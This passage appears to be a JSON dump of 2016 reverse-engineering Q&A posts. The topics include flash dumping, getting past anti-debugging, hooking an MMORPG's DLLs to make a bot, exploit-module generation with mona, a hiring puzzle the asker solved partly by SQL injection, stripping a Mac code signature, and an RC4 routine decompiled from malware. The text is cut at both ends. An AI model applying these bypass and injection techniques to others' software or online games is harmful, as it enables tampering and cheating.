I am new to this all and still learning any tips or pointers would be a great help.</p>\n",
        "Title": "Technicolor TG799vac Modem/Router Dumping The Nand Flash",
        "Tags": "|linux|firmware|embedded|",
        "Answer": "<p>Ok I managed to get it to extract.... Yay</p>\n\n<p>As it turns out when I did the NAND dump I also dumped the OOB part of the NAND.<br>\nSo I had to run it through Jean-Michel Picod's <code>Nand-dump-tool.py</code> program to separate out the OOB area.</p>\n\n<pre><code>$ python Nand-dump-tool.py  -i ModemRaw.img -o Split_seperate.img -I\n01f1801d  --layout separate\n\n[*] Using given ID code ID code  : 01f1801d\nManufacturer                     : AMD / Spansion\nDevice                           : NAND 128MiB 3,3V 8-bit\nDie/Package                      : 1\nCell type                        : 2 Level Cell\nSimultaneously programmed paged  : 1\nInterleave between multiple chips: False\nWrite cache                      : True\nPage size                        : 2048 bytes (2 K)\nSpare area size                  : 16 bytes / 512 byte\nBlock size                       : 131072 bytes (128 K)\nOrganization                     : X16\nSerial access time               : 29 ns\nOOB size                         : 64 bytes\n\n[*] Start dumping...\n[*] Finished\n\nTotal: 138412032 bytes (132.00 MB)\nData : 134217728 bytes (128.00 MB)\nOOB  : 4194304 bytes (4.00 MB)\nClear: 86.69% of the flash is empty (56813 pages out of 65536)\n</code></pre>\n\n<p>Once that was done running it through binwalk again gave me a much more sensible output and a extracted File System... </p>\n"
    },
    {
        "Id": "13577",
        "CreationDate": "2016-09-24T16:47:31.030",
        "Body": "<p>I'm trying to debug a windows exe that is really full of anti-debug measures. It has pretty much everything you can think of DBGuiremotebreakin, Ntsetinformationthread, NtQueryInformationProcess, the works. The only problem is that I really need to get into it. The anti-debug stuff is mixed in all throughout the code with important computations that are used for the stuff I want to see. How could I start trying to spoof the measures so I can observe register usage unfoiled?</p>\n",
        "Title": "Getting past a whole lot of anti-debug measures for a windows exe",
        "Tags": "|debuggers|anti-debugging|disassemblers|",
        "Answer": "<p>You can use something like Scylla Hide</p>\n\n<p><a href=\"https://github.com/nihilus/ScyllaHide\" rel=\"nofollow noreferrer\">https://github.com/nihilus/ScyllaHide</a></p>\n\n<p>It has plugins for most popular debuggers. It has lots of hiding options and presets for advanced packers like Themida.</p>\n\n<p>You can also try Titan Hide.</p>\n\n<p><a href=\"https://github.com/mrexodia/TitanHide\" rel=\"nofollow noreferrer\">https://github.com/mrexodia/TitanHide</a></p>\n"
    },
    {
        "Id": "13587",
        "CreationDate": "2016-09-25T14:34:53.277",
        "Body": "<p>I'm very very newbie in assembly / ollydbg / reverse engineering. I'm totally lost with this error.</p>\n\n<p>I have created a simple program in Delphi, just to explore in ollydbg. Here is the program's code:</p>\n\n<pre><code>procedure TForm1.SpeedButton1Click(Sender: TObject);\nvar somevalue : string;\nbegin\n    somevalue := 'this is a value';\n    showmessage(somevalue);\nend;\n</code></pre>\n\n<p>So I attached it in olly and searched for the string \"this is a value\" and reached this point:</p>\n\n<pre><code>MOV EDX, 0045212C\n</code></pre>\n\n<p>the address <code>0x45212C</code> contains my string, so I decide to put another value in an empty address (I choose 00400400).</p>\n\n<p>The problem is that when I change the code to</p>\n\n<pre><code>MOV EDX, 400400\n</code></pre>\n\n<p>I get the following error:</p>\n\n<blockquote>\n  <p>Access violation when writing to [004003F8]</p>\n</blockquote>\n\n<p>Which contains the following assembly line:</p>\n\n<pre><code>LOCK INC DWORD PTR DS:[EDX-8]\n</code></pre>\n\n<p>What does this error mean and how can I fix it?</p>\n",
        "Title": "Getting Access Violation when patching a program",
        "Tags": "|assembly|ollydbg|x86|patching|",
        "Answer": "<p>This error means that the processor tried to access the address at <code>0x004003F8</code> and failed. The access type was write.\nThis can happen because that address's page is protected and cannot be written to, or because the address is unallocated.</p>\n\n<p>I'ts crusial to note that the address, <code>0x004003F8</code> is eight bytes before your chosen address (<code>0x00400400</code>). I guess the access violation happened because that address is unallocated.</p>\n\n<p>The best guess given the information you provided is that although the textual string starts at that specific address, it is only part of the bigger in-memory structure that begins before the actual text.</p>\n\n<p>This is actually quite common, and correct for all managed/object oriented programming languages. and is indeed the cause for Delphi's <code>string</code> objects, as described <a href=\"http://docwiki.embarcadero.com/RADStudio/Seattle/en/Internal_Data_Formats#Long_String_Types\" rel=\"nofollow\">here</a> including memory representation specifics.</p>\n\n<p>The line in which you get an access viloation is also of some interesting capacity and could be unclear to the uneducated reverser.</p>\n\n<p><code>LOCK INC DWORD PTR DS:[EDX-8]</code></p>\n\n<p>And here's the instruction's parts described one by one:</p>\n\n<ol>\n<li><p><code>LOCK</code> is an instruction prefix that modifies the instruction following it, which is assumed to be preforming a read/modify/write operation. It guarantees the instruction following it is atomic, and prevents race conditions with other instructions modifying the same memory address.</p></li>\n<li><p><code>INC</code> has a single <a href=\"https://en.wikipedia.org/wiki/Operand\" rel=\"nofollow\">operand</a> (either a register or a memory address) and increases it by one.</p></li>\n<li><p><code>DWORD</code> marks the provided <a href=\"https://en.wikipedia.org/wiki/Operand\" rel=\"nofollow\">operand</a> points to a double-word value (that is, 4 bytes).</p></li>\n<li><p><code>DS:</code> tells the address is in the data segment. This became quite redundant in 32 and 64 bit architectures so you can normally just ignore it.</p></li>\n<li><p><code>[EDX-8]</code> is the actual <a href=\"https://en.wikipedia.org/wiki/Operand\" rel=\"nofollow\">operand</a>, and represents \"the address 8 bytes before the value currently in <code>EDX</code>.</p></li>\n</ol>\n"
    },
    {
        "Id": "13599",
        "CreationDate": "2016-09-27T10:35:17.590",
        "Body": "<p>I am messing around with a game made with CryEngine. It's a MMORPG, but I found out that I can manipulate the X/Y/Z coordinates of my character through cheat engine. And I also found out that I can switch the targeted enemy by changing a value in my memory.</p>\n\n<p>This game is made up by a launcher.exe and many dlls. One of them is called CryGame.dll in which is most of the game code I guess.\nI made a pointer scan on the memory which saves the targeted enemy, but most pointer chains which store my desired memoryregion are saved in the CryGame.dll.</p>\n\n<p>Now to my question: Is it possible to inject code into the CryGame.dll or something similar in order to get this memory region and manipulate it (I am trying to make a simple bot for myself).</p>\n\n<p>Or does anybody have another idea how to get this value? Normally I would simply make a dll injection into the games process and manipulate it, but since this game is made up of dlls, I can't really hook functions, since dlls change address after every reboot of the game, right?</p>\n\n<p>Hope you understand what I meant, sorry for my enlgish.</p>\n",
        "Title": "How to manipulate game which loads many dll's",
        "Tags": "|dll-injection|injection|",
        "Answer": "<p>You can certainly hook dlls similarly to how you'd hook any other function. To get the address of a dll function, you'd need to call two windows APIs.</p>\n\n<p>First, you'll need to get the address/handle (these are the same when discussing loaded modules) of the module you're trying to hook. A simple method to get that is to call either <code>LoadLibrary</code> or <code>GetModuleHandle</code>. The biggest difference is that <code>GetModuleHandle</code> will not load the dll in case it's not already loaded and will return <code>null</code> instead. You can probably load the dll yourself using <code>LoadLibrary</code>, so both APIs are valid.</p>\n\n<p>Second, you'll need to get the address of the function you're interested in. You could use the return value of either <code>GetModuleHandle</code> or <code>LoadLibrary</code> as the current position of the dll and calculate the specific offset of certain functions using it. Alternatively, you can call <code>GetProcAddress</code> to get the address of any function that's exported by the DLL.</p>\n\n<p>Keep in mind there are other ways to modify a behavior of a dll:</p>\n\n<ol>\n<li>You could patch the dll on disk (assuming there's no integrity checks employed).</li>\n<li>You can create a <a href=\"http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically\" rel=\"nofollow\">DLL proxy</a> using DLL redirection.</li>\n</ol>\n"
    },
    {
        "Id": "13603",
        "CreationDate": "2016-09-27T16:34:49.430",
        "Body": "<p>I have a string from job advert (Ethical hacker). I am not planning to candidate to that position. I just would try to resolve puzzle. Can someone suggest directions to look further? (And not yet post full answer for some 2 days). Probably if someone can resolve that puzzle, then they probably will figure out from where that job advert is :).</p>\n\n<p>The data (my guess that's a hex string):</p>\n\n<pre><code>7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a\n</code></pre>\n\n<p>I tried to convert it to string. Output is like this: <a href=\"https://i.stack.imgur.com/bNe08.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bNe08.png\" alt=\"Output\"></a>\nIt looks like of some kind of protocol. I also tried to decompress, but that failed and looked at output it does not look like it would be compressed. </p>\n\n<p>C# program to create string from that data.</p>\n\n<pre><code>class Program\n    {\n        static string bytearr = \"7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a\";\n        static void Main(string[] args)\n        {\n            byte[] b = StringToByteArray(bytearr);\n            string s = System.Text.Encoding.UTF8.GetString(b);\n            File.WriteAllBytes(\"output.bin\", b);\n            Console.WriteLine(\"{0}\", s);\n            Console.ReadLine();\n        }\n\n        public static byte[] StringToByteArray(String hex)\n        {\n            int NumberChars = hex.Length;\n            byte[] bytes = new byte[NumberChars / 2];\n            for (int i = 0; i &lt; NumberChars; i += 2)\n                bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);\n            return bytes;\n        }\n    }\n</code></pre>\n\n<p><strong>Update.</strong></p>\n\n<p>Thanks to <a href=\"https://reverseengineering.stackexchange.com/users/2318/w-s\">@w s</a> for hints. Today I resolved puzzle. It took 5 to 6 hours. </p>\n\n<p>So, the answer ...</p>\n\n<p>First I googled around and found <a href=\"https://digital-forensics.sans.org/blog/2013/05/14/tools-for-examining-xor-obfuscation-for-malware-analysis\" rel=\"nofollow noreferrer\">this</a> article. Then I tried XORSearch. After that I got next challenge. I do not post it here but that was web login form. So, I should guess username and password. Luckily in that form was sql injection vulnerability. After successful login it displayed QR code as PNG image. Of course I cannot decode it with scanner. So, I tried various steganography tools. Unsuccessful. Tried more various tools and then I realized that I am digging too deep. Then I printed that QR code. Looked on it couple of minutes. Tried various online QR decoders. All they failed. Googled about QR code error corrections and broken QR code recovery. Found <a href=\"http://datagenetics.com/blog/november12013/index.html\" rel=\"nofollow noreferrer\">this site</a>. On three corners must be square blocks to identify and then align the code. For my image they did'n. </p>\n\n<p><a href=\"https://i.stack.imgur.com/7sAV2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7sAV2.png\" alt=\"QR code (some part removed)\"></a> \nI deleted some part of QR code.</p>\n\n<p>So I took black pencil and colored my printed QR code. Tried to scan it. Scanner made one successful scan. But it was some numbers. After I again looked at printed QR code I realized that it looks bad. Then I realized that QR code must reverse colors. And vol\u0101. It now looks like normal QR and scanner successfully scanned it. In that picture was another link to text file, where was job contact details. </p>\n\n<p>P.S The only think that I not fully understood is XOR`ing part. But I tried to study that :).</p>\n",
        "Title": "Reversing unknown data in hex string",
        "Tags": "|hex|",
        "Answer": "<p>This is an encrypted message (hex-encoded, your guess is correct). The cipher is very weak.\nAs far as I understand there is at least one more additional challenge after this one.</p>\n\n<p>If you want to learn more about working with challenges like this I'd suggest you to try <a href=\"https://cryptopals.com/\" rel=\"nofollow\">\"Matasano crypto challenges\"</a>.</p>\n"
    },
    {
        "Id": "13605",
        "CreationDate": "2016-09-28T09:20:55.527",
        "Body": "<p>I have been going through some tutorials for exploit development that use the <code>!pvefindaddr</code> command to help with creating unique patterns and discovering the offset.</p>\n\n<p>I know that mona has replaced <code>pvefindaddr</code> - but from what I can see in the examples I am following the <code>!pvefindaddr suggest</code> command gives you an exploit suggestion in perl, while <code>!mona suggest</code> basically writes you a metasploit module.</p>\n\n<p>I looked at the options with:</p>\n\n<p><code>!mona help suggest</code></p>\n\n<p>And there don't seem to be many options available. Is it possible to get suggest to offer you exploits written in any format other than a metasploit module? I couldn't seem to get <code>pvefindaddr</code> working in immunity - I'm assuming it doesn't really work anymore as mona has replaced it, so I wondered if mona had any flexibility?</p>\n\n<p><em>I tried asking this in security stack exchange and was pointed here!</em></p>\n",
        "Title": "Immunity Debugger - !mona suggest",
        "Tags": "|exploit|immunity-debugger|metasploit|",
        "Answer": "<p><code>mona.py</code> only supports automatically generating Metasplpoit modules. You can't get it to output the exploitation code in any other form.</p>\n\n<blockquote>\n  <p>pvefindaddr already suggested a payload layout based on that information, mona takes things one step further. In fact, it will attempt to produce a full blown Metasploit module, including all necessary pointers and exploit layout. </p>\n</blockquote>\n\n<p>This is probably partially because in order to function, the <code>suggest</code> command uses the <code>findmsp</code> command which requires a \"Metasploit pattern\" (hence the name \"find msp\"), a textual pattern that uses a sequence of characters in a way that never repeats the same 4 bytes offset, making it extremely easy to identify the offset of each part of the pattern. This pattern is extensively used in the Metasploit Framework to ease exploit development.</p>\n\n<blockquote>\n  <p>This command will automatically run findmsp (so you have to use a cyclic pattern to trigger a crash), and then take that information to suggest an exploit skeleton</p>\n</blockquote>\n\n<p>There are a few things you can do:</p>\n\n<ol>\n<li><p>You can always carve out the code out of the Metasploit module, or rewrite it in a different language (such as perl).</p></li>\n<li><p>Use the <code>findmsp</code> command directly (as mentioned, <code>suggest</code> internally uses it to get the information needed for the exploit), it will provide you the details of affects memory regions, pointers, registers and so on, so you could build the exploit yourself.</p>\n\n<blockquote>\n  <p>At crash time, simply run findmsp and you will get the following information:\n  <ul>\n  <li>Locations where the cyclic pattern can be found (looks for the first bytes of a pattern) and how long that pattern is</li>\n  <li>Registers that are overwritten with 4 byte of a cyclic pattern and the offset in the pattern to overwrite the register</li>\n  <li>Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern</li>\n  <li>SEH records overwritten with 4 bytes of a cyclic, offset, and size</li>\n  <li>Pointers on the current thread stack, into a cyclic pattern (offset + size)</li>\n  <li>Parts of a cyclic pattern on the stack, the offset from the begin of the pattern and the size of the pattern.</p>\n</blockquote>\n\n<blockquote>\n  <p>In all cases, findmsp will search for normal pattern, uppercase,lowercase, and unicode versions of the cyclic pattern.</p>\n</blockquote></li>\n</ul></li>\n<li><p>Finally, <code>pvefindaddr</code> is probably not working with your version of Immunity Debugger because it's newer that versions supported by <code>pvefindaddr</code>. Since it's now deprecated it is no longer updated with newer releases of Immunity Debugger. You could fetch an older version and use that instead.</p></li>\n</ol>\n"
    },
    {
        "Id": "13610",
        "CreationDate": "2016-09-28T16:47:24.207",
        "Body": "<p>I'm working on reverse engineering the serial communication protocol of an obsolete electronic control system, but I'm having trouble figuring out the CRC algorithm and polynomial.</p>\n\n<p>I have reverse engineered another similar system made by the same company in the past. On that previous one I was able to dump the <code>8051</code> micro-controller program from the <code>EPROM</code> and disassemble it. Here is my working code in C, with the original <code>8051</code> disassembly in the comments:</p>\n\n<pre><code>unsigned char CalculateChecksum(void) {\n    unsigned char r1 = 0;               // MOV R1,#0\n    unsigned char r2, r3, c, a;\n\n    for (r2=1; r2&lt;4; r2++) {    // MOV R2,#07\n        a = out_buffer[r2];     // MOV A,@R0\n\n        r3 = a;                 // XCH A,R1\n        a = r1;\n        r1 = r3;\n\n        c = 0;                  // CLR C\n\n        if (a &amp; 0x80) {\n            c = 1;              // FAKE CARRY\n        }\n        a = a &lt;&lt; 1;             // RLC A\n        if (c == 1) {           // JNC 0x03E8\n            a = a ^ 0x19;       // XRL A,#19\n        }\n        a = a ^ r1;             // XRL A,R1 (0x03E8)\n        r1 = a;                 // MOV R1,A\n        printf(\"%d: 0x%x \", r2, a);\n    }\n\n    return a;\n}\n</code></pre>\n\n<p>The problem is that this function does not work on this newer system. I've tried all 255 possible polynomials, so it is unclear wether the algorithms are shared (perhaps with some modifications?) between the different systems, however I believe there is a relation between algorithms.</p>\n\n<p>Here is a capture of some of the transmitted message from one unit:</p>\n\n<pre><code>7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FF 01 65 \n7E 00 12 03 00 51 03 00 69 \n7E 00 12 03 00 51 09 00 6F\n</code></pre>\n\n<p>0x7E appears to be a preamble, followed by 7 bytes of data, then the checksum byte. Can anyone figure it out?</p>\n",
        "Title": "Reverse engineering serial communication CRC algorithm",
        "Tags": "|serial-communication|crc|binary-diagnosis|",
        "Answer": "<p>This question seems simpler than you might expect.</p>\n\n<p>Since as OP noted, the code is irrelevant to validation mechanism used in the discussed system, I shall ignore it. It is indeed irrelevant as will be shown below.</p>\n\n<p>as the first byte in each message indeed looks like a preamble, we'll ignore it. Our goal is to recover the function which, when applied to the given 1-8th bytes (i.e. all bytes except the first and last), provides the last byte.</p>\n\n<p>Lets take the first message provided by OP:</p>\n\n<pre><code>00 12 03 00 50 FB 01 60\n</code></pre>\n\n<p>Thus, we need to find <code>f</code> such that</p>\n\n<pre><code>f(00 12 03 00 50 FB 01) = 60\n</code></pre>\n\n<p>The following 3 messages are identical. This is good, it uncovers the fact the validation byte is deterministic with regards to the message bytes, but otherwise useless. </p>\n\n<p>We'll skip to the fifth message and compare it to the first:</p>\n\n<pre><code>f(00 12 03 00 50 FB 01) = 60\nf(00 12 03 00 51 FB 01) = 61\n</code></pre>\n\n<p>This is nice, we know that a single bit incremental change in the 5th byte of the message causes the exact same change on the output. Adding one to the fifth byte increments the output by one as well.</p>\n\n<p>The same happens for the last two messages:</p>\n\n<pre><code>f(00 12 03 00 51 03 00) = 69 \nf(00 12 03 00 51 09 00) = 6F\n\n9-3 = 6 = 6F-69\n</code></pre>\n\n<p>Only this time with a different byte and a bigger increment.</p>\n\n<p>We might be willing to assume this relationship is preserved for all bytes and all increments, and we'll be correct.</p>\n\n<p>If it wasn't clear until now, the answer is quite in front of us: The last byte is the sum of all message bytes, modulo 257.</p>\n\n<p>In python, given <code>m = ['00', '12', '03', '00', '51', '09', '00']</code>, the following code will provide the correct value of <code>0x6F</code>:</p>\n\n<pre><code>hex(sum(map(lambda x: int(x, 16), m))%257)\n</code></pre>\n\n<p>This behaves properly for all provided inputs.</p>\n"
    },
    {
        "Id": "13616",
        "CreationDate": "2016-09-29T07:07:15.437",
        "Body": "<p>I have been trying to use binwalk on a very large dump file without much success so far. Everytime I tried to use it, it produces very large zip file that fill the disk until I reach a disk full error (using Linux).</p>\n\n<p>I am trying to understand what I did wrong, so here is a simple scenario hopefully to understand what I am doing wrong.</p>\n\n<p>Steps:</p>\n\n<pre><code>$ dd if=/dev/zero of=head bs=1 count=512\n$ dd if=/dev/zero of=tail bs=1 count=512\n$ wget https://github.com/devttys0/binwalk/archive/master.zip\n$ cat head binwalk-master.zip tail &gt; full\n$ binwalk -z -C demo -D 'zip archive:zip:unzip %e' full\n</code></pre>\n\n<p>Could someone please let me know why I am seeing the following:</p>\n\n<pre><code>$ find demo\ndemo\ndemo/_full.extracted\ndemo/_full.extracted/483BD.zip\ndemo/_full.extracted/200.zip\n</code></pre>\n\n<p>Where is this file coming from ? Is there any reason to keep it around ?</p>\n\n<pre><code>$ unzip -l demo/_full.extracted/483BD.zip \nArchive:  demo/_full.extracted/483BD.zip\n5be61ad220a42e7b2c7e912024fda5edd84b4843\nerror [demo/_full.extracted/483BD.zip]:  missing 295357 bytes in zipfile\n  (attempting to process anyway)\nerror [demo/_full.extracted/483BD.zip]:  attempt to seek before beginning of zipfile\n  (please check that you have transferred or created the zipfile in the\n  appropriate BINARY mode and that you have compiled UnZip properly)\n</code></pre>\n\n<p>Bonus question: is there a way to really extract only the zip file (removing the <code>tail</code> stuff):</p>\n\n<pre><code>$ crc32 binwalk-master.zip demo/_full.extracted/200.zip \n8ce4d36c    binwalk-master.zip\n81923fef    demo/_full.extracted/200.zip\n$ ls -al binwalk-master.zip demo/_full.extracted/200.zip \n-rw-r--r-- 1 user user 295419 Sep 29 08:54 binwalk-master.zip\n-rw-r--r-- 1 user user 295931 Sep 29 09:02 demo/_full.extracted/200.zip\n</code></pre>\n",
        "Title": "Simple carving of zip file using binwalk",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>Binwalk produces multiple large files, because the zlib header does not contain any information about the size of the compressed data.</p>\n\n<p>The following steps should be performed to extract the zip files:</p>\n\n<ul>\n<li>Identify headers (found at <code>0x200</code> and <code>0x483BD</code>)</li>\n<li>Save the zip file to a file. But, because there is not any information in the header about the size, the worst case should be used and the whole remaining file should be written out.</li>\n</ul>\n\n<p>Because the header identification cannot be perfect and false positives are possible, you cannot assume that the second header means the end of the first zip.</p>\n\n<p>If you want to extract the zip files without tail, you can do the followings:</p>\n\n<ul>\n<li>Reverse the structure of the binary file. Generally every image part starts with a header with exact size information. You have to identify the header and size or offset values in it.</li>\n<li>If you works with a flash image, then you can perform entropy analysis, which helps to split the whole image into smaller parts.</li>\n<li>In a flash image, the parts are generally separated with several <code>0xFF</code> bytes from each others. You can also use this information to extract the image parts.</li>\n</ul>\n"
    },
    {
        "Id": "13622",
        "CreationDate": "2016-09-30T09:14:25.837",
        "Body": "<p>How can I remove the code signature from a binary so that I can patch it without the binary refusing to run afterwards?</p>\n\n<p><em>Needless to say, I'm not the original creator of the binary, nor I have the certs that were used to sign the binary.</em></p>\n",
        "Title": "Remove code signature from a Mac binary",
        "Tags": "|binary-analysis|binary|osx|patching|mach-o|",
        "Answer": "<p>Another blunt way that seemed to work for me on Catalina (note that this strips all attributes):</p>\n\n<p><code>xattr -cr /path/to/your/program.app</code></p>\n"
    },
    {
        "Id": "13639",
        "CreationDate": "2016-10-03T17:08:25.227",
        "Body": "<p>I'm trying to generate a log of all identified symbols in a binary file. The application i'm trying to inspect is busybox. I've created a Pin Tool that successfully captures symbols (no demangling) and place them underneath the module they belong to, and worked just fine for many binaries except busybox. For example this command:</p>\n\n<pre><code>pin -t &lt;pin-tool-shared-object&gt; busybox -ls\n</code></pre>\n\n<p>Was able to generate only the following output:</p>\n\n<pre><code>MODULE busybox:\n.init\n.plt\n.text\n\n# eof\n</code></pre>\n\n<p>Not finding any of the desired symbols. Unsure of where the problem was, I tried many variations of the <code>nm</code> command. The output was always the same:</p>\n\n<pre><code>$ nm -an /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n$ nm -an -D /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n$ nm -D /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n</code></pre>\n\n<p>What is happening here and how can I get a trace of the called symbols in this case (or at least a static <code>nm</code>-like output of these symbols).</p>\n\n<p>The full Pin tool code is found <a href=\"https://github.com/gfreivasc/PinPlays/blob/master/callgraph.cpp\" rel=\"nofollow\">here</a>, as it might be the problem too.</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>Running the tool in verbose mode <code>-v</code>, that generates the sequential call graph, gives me traces like these when in busybox basic blocks:</p>\n\n<pre><code>0x404970 | CALL .plt\n0x42d41f | RET\n0x404970 | CALL .plt\n0x42d41f | RET\n0x43bcd1 | CALL .text\n0x4053fb | CALL .text\n0x4040d0 | CALL .plt\n0x405416 | RET\n0x43bcf6 | RET\n0x404740 | CALL .plt\n</code></pre>\n\n<p>Which is nowhere near helpful. Apparently there are no exported symbols in this module.</p>\n",
        "Title": "Intel PIN and nm unable to capture binary symbols",
        "Tags": "|linux|symbols|intel|",
        "Answer": "<p>Sounds like the binary has ben stripped (had its symbol table removed). Since <code>busybox</code> is usually compiled statically to not have any external dependencies and be entirely self-contained, it does not need even dynamic symbols to function. You'll just have to figure out how to achieve your goal without symbols.</p>\n"
    },
    {
        "Id": "13651",
        "CreationDate": "2016-10-06T09:31:53.693",
        "Body": "<p>I am trying to understand an algorithm from a malware I found. This algorithm encodes http request to C&amp;C. The decompiled version is taken from IDA. There are some comments I wrote.</p>\n\n<p>The problem is: I dont see the malware sends result from QueryPerformanceCounter() to its C&amp;C. So without this value how C&amp;C decodes this request?</p>\n\n<pre><code>int __cdecl sub_A2AA0(int a1, unsigned int a2, int a3, _BYTE *a4, int a5)\n{\n// a5: length of buffer\n// a4: buffer to encode\n// a3: always 0\n// a2: always 4\n// a1: addr contains result from QueryPerformanceCounter()\n\n  signed int v5; // eax@1\n  char v6; // si@3\n  unsigned int v7; // eax@3\n  signed int v8; // edi@3\n  char v9; // cl@4\n  int v10; // edx@4\n  int v11; // edi@7\n  int v12; // esi@7\n  int result; // eax@7\n  char v14; // cl@8\n  int v15; // ebp@9\n  _BYTE *i; // edi@9\n  char v17; // cl@10\n  char v18[256]; // [sp+0h] [bp-100h]@2\n\n // buffer with 0 to 255\n  v5 = 0;\n  do\n  {\n    v18[v5] = v5;\n    ++v5;\n  }\n  while ( v5 &lt; 256 );\n\n\n  // exchange content of a random index starting with index 0\n  v6 = 0;\n  v7 = 0;\n  v8 = 0;\n  do\n  {\n    v9 = v18[v8];\n    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index\n    v6 = v10;\n    if ( v7 &gt;= a2 )\n      v7 = 0;\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n  }\n  while ( v8 &lt; 256 );\n\n// iterate local buffer again, exchange content of cells, starting with index 0\n  v11 = a3; // init with 0\n  LOBYTE(v12) = 0;\n  for ( result = 0; v11; v18[v12] = v14 )\n  {\n    result = (unsigned __int8)(result + 1);\n    v14 = v18[result];\n    --v11;\n    v12 = (unsigned __int8)(v12 + v18[result]);\n    v18[result] = v18[v12];\n  }\n\n// mask the request\n  v15 = a5;\n  for ( i = a4; v15; --v15 )\n  {\n    result = (unsigned __int8)(result + 1);\n    v17 = v18[result];\n    v12 = (unsigned __int8)(v12 + v18[result]);\n    v18[result] = v18[v12];\n    v18[v12] = v17;\n    *i++ ^= v18[(unsigned __int8)(v17 + v18[result])]; // simple xor\n  }\n  return result;\n\n\n}\n</code></pre>\n",
        "Title": "Is this request mask algorithm reversible?",
        "Tags": "|malware|",
        "Answer": "<p>This seems to me like <a href=\"https://en.wikipedia.org/wiki/RC4\" rel=\"nofollow noreferrer\">RC4</a>, a stream cipher (here is <a href=\"https://codereview.stackexchange.com/questions/41148/rc4-implementation-in-c\">a somewhat similar implementation</a>, and <a href=\"https://es.wikipedia.org/wiki/RC4\" rel=\"nofollow noreferrer\">here's another</a>). <a href=\"https://stackoverflow.com/questions/4657416/difference-between-encoding-and-encryption\">It does not encode data, it encrypts it</a> (with a key). Being a stream cipher, it generates a sequence of bytes derived from the key, and then XORs the data with those. These two steps are usually separated in two functions, which is why you don't see any reference to the key in your function: because it is the part which XORs with an already generated stream somewhere before that function gets called.</p>\n\n<p><code>a1</code> seems to be a pointer to the state structure, so it is not a pointer to a 4 byte sequence, but rather, a structure which holds the current state. From what I have seen, most binaries do something like this:</p>\n\n<pre><code>RC4_Init(state, key, ...)\nRC4_Process(...) // this is the function you're looking at now\n</code></pre>\n\n<p>Find where the function is called, look a bit above (try cross-referencing <code>a1</code>), and you should find the initialization function, which has the key.</p>\n\n<hr>\n\n<h1>To further expand on why I think this is RC4</h1>\n\n<p>Your code:</p>\n\n<pre><code> // buffer with 0 to 255\n  v5 = 0;\n  do\n  {\n    v18[v5] = v5;\n    ++v5;\n  }\n  while ( v5 &lt; 256 );\n</code></pre>\n\n<p><code>rc4_init</code>:</p>\n\n<pre><code>void rc4_init(unsigned char *key, unsigned int key_length) {\n    for (i = 0; i &lt; 256; i++)\n        S[i] = i;\n\n    /* ... more code ... */\n}\n</code></pre>\n\n<hr>\n\n<p>Your code:</p>\n\n<pre><code>// exchange content of a random index starting with index 0\n  v6 = 0;\n  v7 = 0;\n  v8 = 0;\n  do\n  {\n    v9 = v18[v8];\n    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index\n    v6 = v10;\n    if ( v7 &gt;= a2 )\n      v7 = 0;\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n  }\n  while ( v8 &lt; 256 );\n</code></pre>\n\n<p>Chunk of <code>rc4_init</code>:</p>\n\n<pre><code>for (i = j = 0; i &lt; 256; i++) {\n        j = (j + key[i % key_length] + S[i]) &amp; 255;\n        swap(S, i, j);\n    }\n\n    i = j = 0;\n</code></pre>\n\n<hr>\n\n<p>Inlined <code>swap</code> in your code:</p>\n\n<pre><code>    v9 = v18[v8];\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n</code></pre>\n\n<p>RC4 <code>swap</code>:</p>\n\n<pre><code>void swap(unsigned char *s, unsigned int i, unsigned int j) {\n    unsigned 